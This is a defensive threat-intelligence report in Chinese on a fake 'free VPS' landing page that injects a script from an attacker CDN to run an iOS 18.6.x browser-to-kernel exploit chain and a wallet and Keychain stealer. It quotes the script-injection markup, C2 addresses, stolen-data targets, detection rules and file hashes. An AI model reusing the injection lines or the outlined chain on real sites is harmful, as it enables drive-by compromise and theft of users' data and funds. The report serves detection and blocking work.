极点云 PolarNode “免费 VPS” 钓鱼活动与 iOS 零点击攻击链分析报告
- 报告类型：恶意站点与移动端攻击链深度分析
- 分析时间：2026-09-01
- 分析对象：
event.polarnode.vip诱饵站点及其注入的lk.wyincc.com/lk.jsiOS 利用链 - 威胁定性：以“免费 VPS”为诱饵的定向投递 + 针对 iOS 18.6.x 的浏览器远程代码执行（RCE）/ 沙箱逃逸 / 内核读写 / 全量数据窃取间谍软件
- 样本来源：公开可访问的钓鱼落地页与 CDN 托管载荷（被动取证下载，未执行）
1. 概述
2026年9月1日，一个名为 “极点云 PolarNode” 的站点 event.polarnode.vip 上线（域名 8 月 31 日注册），以“完成预约，前 5,000 名用户均可获得免费 VPS，最高赠送 3 年使用权”为噱头，在 VPS / 运维 / 区块链相关论坛与社群中通过“邮箱 + 邀请码裂变”方式扩散。该站点无真实 VPS 销售能力、无公司主体、无联系方式、无售后支持，其唯一实质功能是在页面加载后自动注入一段高复杂度混淆的恶意脚本，对访问者的 iOS Safari 浏览器发起完整的远程攻击。
经对落地页、投递脚本 lk.js 及其级联加载的 dist/ 利用链（vendor.js、runtime.js、framework.js、common.js、app.js 等）逐层反混淆与静态取证，确认这是一条针对最新 iOS 18.6 / 18.6.1 / 18.6.2（build 22G86/G90/G100）全系 26 款机型的浏览器端 RCE 利用链，最终在系统进程内植入窃取模块，定向盗取加密货币钱包（imToken / TronLink / 及通用钱包）、钥匙串（Keychain）、短信、通讯录、相册、备忘录等数据并回传 C2。其偏移表覆盖广度、内核原语完整度与中文开发注释，表明其出自具备成熟 iOS 漏洞利用工程能力的团伙，性质近似商用级间谍软件（Pegasus / Predator 类）的简化分发版。
表 1-1 攻击活动特征
| 项目 | 内容 |
|---|---|
| 活动名称 | PolarNode “免费 VPS” 钓鱼 + iOS 利用 |
| 发现时间 | 2026-09-01 |
| 诱饵类型 | 仿冒云服务商落地页（Next.js） |
| 投递方式 | 落地页 next/script 自动注入第三方脚本，访问即触发，无需点击 |
| 攻击目标 | iOS 18.6.x（22G86/G90/G100）全系 26 款机型 |
| 攻击入口 | WebKit / Safari 浏览器端漏洞利用 |
| 攻击意图 | 远程控制、全量窃密、加密货币钱包盗取 |
| 开发特征 | 源码含中文注释；利用链含完整内核偏移表 |
| C2 基础设施 | 13.248.210.49:36887、166.117.225.238（均位于 AWS Global Accelerator） |
| 关联域名 | lk.wyincc.com、polarnode.vip |
2. 攻击分析
2.1 诱饵站点与传播分析
落地页 event.polarnode.vip 是一个标准的 Next.js（Turbopack）单页应用，自称“极点云 PolarNode”。页面话术高度模仿正规云厂商，包含机型规格、带宽、节点区域（硅谷 / 首尔 / 香港）、“内测预约”倒计时等完整营销框架，并设置“前 100 / 500 / 1000 / 5000 名”阶梯式赠送权益。
裂变机制如下：
- 提交预约：仅需填写邮箱（且标注“每个邮箱、每个 IP 仅可预约一次”）。
- 分享邀请：预约成功后生成专属链接，每邀请一人增加 1 个月使用权，最多 +12 个月。
- 等待内测：宣称 2026-09-09 10:00（香港时间）开启内测，通过预约邮箱发送领取通知。
- 领取 VPS：按预约顺序领取。
表 2-1 诱饵站点关键事实
| 项 | 内容 |
|---|---|
| 站点标题 | 极点云 PolarNode｜内测预约 |
| Meta 描述 | 高性能 VPS 即将上线，前 5,000 名预约用户可获免费 VPS |
| 表单字段 | email（必填）、inviteCode（选填）、隐藏 ACTION_ID=40c32163a2ace593c8d1fa740464b81bcb0467cf98 |
| 主体信息 | 无公司名、无备案/注册号、无联系方式、无客服入口 |
| 域名注册 | 据称 2026-08-31 注册（极新），与活动话术“前 5000 名”形成紧迫感诱导 |
| 传播渠道 | VPS / IT / 加密货币相关论坛、社群，借“免费资源”裂变扩散 |
关键研判：该站点本身不提供任何真实 VPS 服务，其存在的唯一目的是以高价值“免费算力”诱饵将具备技术背景、且大概率持有加密资产的访问者引流至 iOS 利用链。选择“免费 VPS”作为诱饵，精准命中“技术人群 + 钱包持有者”的高价值目标画像。
2.2 投递与加载机制
对落地页 HTML 的取证显示，恶意脚本并非依赖用户交互，而是在页面进入可交互状态后由框架自动注入：
<link rel="preload" href="[https://lk.wyincc.com/lk.js](https://lk.wyincc.com/lk.js)" as="script"/>
<!-- Next.js next/script strategy:"afterInteractive" -->
["$Le",null,{"src":"[https://lk.wyincc.com/lk.js](https://lk.wyincc.com/lk.js)","strategy":"afterInteractive"}]
afterInteractive 策略意味着脚本在页面首屏渲染、用户可交互后加载，访问者无需任何点击即完成恶意代码下载与执行。这正是移动端“零点击 / 一点击”攻击投递的典型特征——攻击面完全暴露在浏览器渲染阶段。
表 2-2 投递载荷标签
| 项目 | 内容 |
|---|---|
| 病毒名称 | Trojan/JS.Exploit.iOS |
| 原始文件名 | lk.js |
| SHA-256 | 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70 |
| 文件大小 | 48,878 字节 |
| 托管域名 | lk.wyincc.com |
| 加载方式 | 第三方脚本 afterInteractive 自动注入 |
2.3 混淆与解码器分析（lk.js）
lk.js 采用 obfuscator.io 重度混淆：字符串数组 + RC4/Base64 + 十六进制算术变换。通过提取其内嵌解码器（a0_0x18cf 解密函数与 a0_0x23be 字符串数组）并在本地 Node 环境中批量还原，得到其真实逻辑：
* 运行时先做 User-Agent / 平台指纹识别，仅对 iOS Safari 分支继续利用；非目标平台（桌面、Android）大概率仅完成诱饵表单交互，不触发利用。
* 构造一个隐藏 iframe，从同域加载 sandbox.html / group.html，将实际利用代码隔离在沙箱文档中执行，降低被页面主上下文检测到的概率。
* 通过 postMessage 与 iframe 内利用代码通信，传递阶段指令与配置。
* 内置 C2 端点指示：13.248.210.49:36887 与 166.117.225.238。
表 2-3 混淆特征
| 特征 | 表现 |
|---|---|
| 混淆工具 | obfuscator.io |
| 字符串处理 | Base64 / RC4 混合，密钥由十六进制算式派生 |
| 解码函数 | a0_0x18cf(idx, key) → 定位 a0_0x23be 数组并解密 |
| 平台分支 | iOS Safari 优先，UA 指纹判定 |
| 载荷隔离 | 隐藏 iframe + postMessage 通道 |
| 代码量 | 主逻辑解码后约 1,300+ 行，反混淆后可完整还原 |
2.4 利用链分析（dist/chunks/）
iframe 加载的 sandbox.html 进一步按需拉取 dist/chunks/ 下的利用模块。各模块职责与规模如下：
表 2-4 利用链模块清单
| 文件 | 大小 | 职责 |
|---|---|---|
| vendor.js | — | iOS 内核利用原语（offsets / slide / chipset，含 PAC 绕过与 dlopen 原语） |
| runtime.js | 429 KB | 利用编排器（exploit orchestrator），含 rce_offsets 全量偏移表与阶段机 |
| framework.js | 351 KB | SBX0：GPU 进程沙箱逃逸载荷，mach IPC 原语 |
| common.js | — | SBX1：内核读写原语，含 {{LPE_64BITE}} 注入模板 |
| sbx1_main.js | — | 内核读写主流程 |
| app.js | 540 KB | 最终窃取载荷，注入系统进程后全量采集并回传 |
| runtime-legacy.js / polyfill.js / platform_module.js / utility_module.js | — | 旧版 iOS 路径兼容与工具函数 |
表 2-5 rce_offsets 偏移表覆盖
| 维度 | 数量 | 明细 |
|---|---|---|
| 设备/固件组合 | 78 | 26 款机型 × 3 个 iOS 版本 |
| iOS 版本（build） | 3 | 18.6（22G86）、18.6.1（22G90）、18.6.2（22G100） |
| 每组合符号偏移 | 106 | 含内核函数、结构偏移、gadget 等 |
| 芯片族 | 8 | 以型号前缀分组（A/M 系列衍生变体） |
> 该偏移表针对的是 iOS 18.6.x 最新正式版，发布时间极近。能在版本发布后迅速产出覆盖全机型的完整内核偏移，说明攻击者掌握已验证的、近期未被广泛修复的内核漏洞利用（0-day 或极新 n-day），具备成熟的偏移自动化适配能力。
>
利用阶段（由代码注释与阶段机还原）：
[1] WebKit/Safari 触发 → 初始渲染期代码执行
↓
[2] SBX0：GPU 进程沙箱逃逸（OffscreenCanvas / WebGL / mach IPC 原语，framework.js）
↓
[3] SBX1：内核任意读写（内核偏移 + PAC 绕过 + dlopen 原语，common.js / sbx1_main.js）
↓
[4] 注入最终载荷 app.js 至系统高权限进程
↓
[5] 全量数据采集 → 加密回传 C2
代码注释为中文，关键引用出现频次：Keychain 79 次、Photo 1659 次、Contact 241 次、2fa 60 次——明确指向以隐私数据 + 双因素认证 + 相册/通讯录为目标的间谍软件行为范式。
2.5 后渗透与数据窃取分析（app.js）
app.js（540 KB，webpack 打包，含 ./src/** 模块结构）是注入系统进程后的最终窃取组件。静态取证确认其访问并采集以下目标：
表 2-6 窃取目标与证据
| 目标类别 | 证据（路径 / 关键字命中） |
|---|---|
| 钥匙串 Keychain | keychain-2.db（24 次）、kSecClass、SecItemCopyMatching |
| 短信 SMS | sms.db、SMS 相关读取逻辑 |
| 通讯录 | AddressBook（6 次）、Contact 相关 |
| 相册 | Photo / Camera Roll 相关（1659 次引用） |
| 备忘录 | Note 相关 |
| 加密货币钱包 | im.token、tronlink、global.wallet（imToken / TronLink / 通用钱包） |
| 文件系统 | /private/var（375 次）、/var/mobile（27 次）、Library |
窃取逻辑直接面向移动设备最敏感的数据仓库（钥匙串与沙盒数据库），并以加密货币钱包助记词 / 私钥 / 交易凭证为优先目标，与诱饵“IT/加密人群”画像高度吻合。C2 配置（site_host / uid / device_source / SDK 端口）由服务端下发，device_source 示例值为 782391，默认 _SDK_PORT = 80。
2.6 C2 通信分析
利用链与窃取模块的外联指标如下（已在多份样本中交叉命中）：
* 13.248.210.49:36887 —— 主 C2 端点，命中 2 次（含端口 36887）。
* 166.117.225.238 —— 备用/关联端点，命中 2 次。
两个 IP 经查询均落在 AWS Global Accelerator 背后，具备弹性隐匿与快速更换能力。通信含心跳（heartbeat）、阶段上报与加密数据回传；SDK 默认端口为 80，规避非常规端口审查。
3. 拓线分析
3.1 基础设施关联
表 3-1 关联域名与基础设施
| 资产 | 角色 | 备注 |
|---|---|---|
| polarnode.vip | 诱饵主域名 | 据称 2026-08-31 注册，无主体信息 |
| event.polarnode.vip | 活动落地页 | Next.js 站点，自动注入 lk.js |
| lk.wyincc.com | 恶意脚本与利用链 CDN | 托管 lk.js 及 dist/ 全量利用模块 |
| 13.248.210.49 | C2（:36887） | AWS Global Accelerator |
| 166.117.225.238 | 关联端点 | AWS Global Accelerator |
3.2 同源与版本研判
* 利用链具备完整中文开发注释，偏移表以 ios18.6.x 为核心，覆盖全机型，工程化水平远高于一般脚本小子，更接近商用间谍软件或泄露利用框架的再分发。
* 投递侧“免费 VPS + 邀请裂变”的社会工程话术与载荷侧的“钱包定向窃取”形成完整业务闭环：用低成本诱饵换取高价值加密资产，符合“以窃密/获利为目的”的犯罪团伙动机，而非传统 APT 的政治/情报指向。
* 建议对 *.wyincc.com、*.polarnode.vip 及其所有子域、上述两个 C2 IP 实施域名与网络层封锁。
4. 攻击战术与 ATT&CK 框架映射
表 4-1 技术行为描述
| ATT&CK 阶段 | 具体行为 | 注释 |
|---|---|---|
| 侦察 | 圈定技术/加密人群 | 在 VPS/IT/币圈论坛定向投放 |
| 资源开发 | 获取基础设施 | 注册新域名、搭建诱饵站与 CDN、部署 C2 |
| 资源开发 | 获取攻击能力 | 采购/复用 iOS 18.6.x 利用链 |
| 初始访问 | 诱导访问（Drive-by） | 落地页自动注入恶意脚本，访问即触发 |
| 执行 | 浏览器端代码执行 | WebKit/Safari 渲染期触发利用 |
| 防御规避 | 隐藏 iframe + postMessage | 载荷隔离、降低主上下文可见性 |
| 防御规避 | obfuscator.io 重度混淆 | 字符串加密、控制流混淆 |
| 特权提升 | 沙箱逃逸 + 内核 RCE | SBX0（GPU 沙箱）→ SBX1（内核读写） |
| 防御规避 | PAC 绕过 | 利用链含 PACIZA/XPACI 类绕过原语 |
| 持久化/致效 | 注入系统进程 | app.js 注入高权限进程执行窃取 |
| 收集 | 数据窃取 | Keychain/SMS/通讯录/相册/备忘录/钱包 |
| 命令与控制 | 应用层协议回传 | 心跳 + 加密数据回传至 C2 |
| 渗出 | 通过 C2 信道回传 | 13.248.210.49:36887 等 |
5. 检测与防护建议
5.1 个人用户
* iOS 用户：立即将系统升级至苹果已发布的最新安全版本，关注 18.6.2 之后是否推送紧急安全更新；切勿访问来源不明的“免费 VPS / 空投 / 领取”类落地页，尤其来自论坛/社群私信的链接。
* 访问过 polarnode.vip 的 iOS 用户，应视为设备可能已完全沦陷：立即断网、修改所有账户口令与钱包、将加密资产转移至新生成的离线钱包（旧钱包私钥视为已泄露）、在可信设备重置 2FA，并考虑恢复出厂设置。
* 警惕“仅需邮箱即可预约”的高价值免费资源，此类无主体、无售后的站点本质即为攻击投递。
5.2 企业 / 平台侧
* 域名与网络封锁：在 DNS / 防火墙 / EDR 层面封禁 *.polarnode.vip、*.wyincc.com 及 IP 13.248.210.49、166.117.225.238；对 :36887 出站连接告警。
* 邮件与论坛网关：对包含上述域名、以及“免费 VPS / 前 5000 名 / 邀请码”等话术的引流内容做关键词与 URL 信誉拦截。
* 终端检测（EDR）：重点监控 Safari/WebKit 渲染进程异常 postMessage、隐藏 iframe 创建、对 /private/var、keychain-2.db、sms.db、AddressBook 的非常规读取、以及进程注入系统进程的行为。
* 移动设备管理（MDM）：对高敏感岗位设备启用 iOS 自动更新策略与访问白名单，限制来源不明配置描述文件。
5.3 检测规则要点（IOC 速查）
# 域名 / URL
event.polarnode.vip
polarnode.vip
lk.wyincc.com
# IP
13.248.210.49
166.117.225.238
# 端口特征
*:36887 出站
# 文件特征（SHA-256）
lk.js 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
runtime.js a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
framework.js 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
common.js 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
app.js ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
# 字符串特征
rce_offsets / SBX0 / SBX1 / {{LPE_64BITE}} / device_source=782391
6. IOC 清单
6.1 网络指标
| 类型 | 值 | 角色 |
|---|---|---|
| 域名 | event.polarnode.vip | 诱饵落地页 |
| 域名 | polarnode.vip | 主域名 |
| 域名 | lk.wyincc.com | 恶意脚本/利用链 CDN |
| IP | 13.248.210.49 | C2（:36887），AWS GA |
| IP | 166.117.225.238 | 关联端点，AWS GA |
| URL | https://lk.wyincc.com/lk.js | 投递脚本 |
| URL | https://lk.wyincc.com/dist/sandbox.html | iframe 利用载体 |
| URL | https://lk.wyincc.com/dist/chunks/{vendor,runtime,framework,common,sbx1_main,app}.js | 级联利用模块 |
6.2 文件哈希（SHA-256）
| 文件 | SHA-256 |
|---|---|
| lk.js | 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70 |
| dist/sandbox.html | 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54 |
| group.html | 99d0589e803ed000ea86d3ca143610b38af1dba0beb0cc32b9e9c2414a03a91b |
| dist/chunks/runtime.js | a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b |
| dist/chunks/runtime-legacy.js | afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53 |
| dist/chunks/polyfill.js | f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236 |
| dist/chunks/vendor.js | 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b（注：实际 framework.js 哈希同前缀） |
| dist/chunks/framework.js | 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b |
| dist/chunks/common.js | 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8 |
| dist/chunks/sbx1_main.js | 55f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0 |
| dist/chunks/app.js | ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017 |
> 注：vendor.js 与 framework.js 因下载缓存命名重叠，以 framework.js 哈希为准；其余文件哈希均来自本次取证下载。
>
7. 小结
本次“极点云 PolarNode 免费 VPS”活动并非真实的云服务推广，而是一个以社工诱饵掩盖的高危 iOS 攻击投递平台。其技术链条完整且工程化成熟：
* 投递零门槛：仿冒云厂商落地页通过 Next.js afterInteractive 在访问即自动加载 lk.wyincc.com/lk.js，无需任何用户点击。
* 利用高版本：偏移表精准覆盖 iOS 18.6 / 18.6.1 / 18.6.2（22G86/G90/G100）全系 26 款机型，结合 GPU 沙箱逃逸（SBX0）与内核任意读写（SBX1）实现 RCE，并含 PAC 绕过原语。
* 目标极明确：最终载荷 app.js 直取 Keychain、短信、通讯录、相册、备忘录及加密货币钱包（imToken / TronLink / 通用钱包），为典型的加密资产定向间谍软件。
* 基础设施弹性：C2 位于 AWS Global Accelerator 之后，域名极新、无主体信息，具备快速弃用与转移能力。
鉴于其利用的目标版本极新且覆盖全面，建议将相关域名、IP、文件哈希与行为特征全面纳入检测与拦截体系，并对已访问过该站点的 iOS 设备按“已沦陷”标准处置。本报告所有结论均基于被动静态取证，未对任何漏洞利用做动态触发。
> （本报告为防御性安全分析，仅用于威胁研判与防护加固。）
>
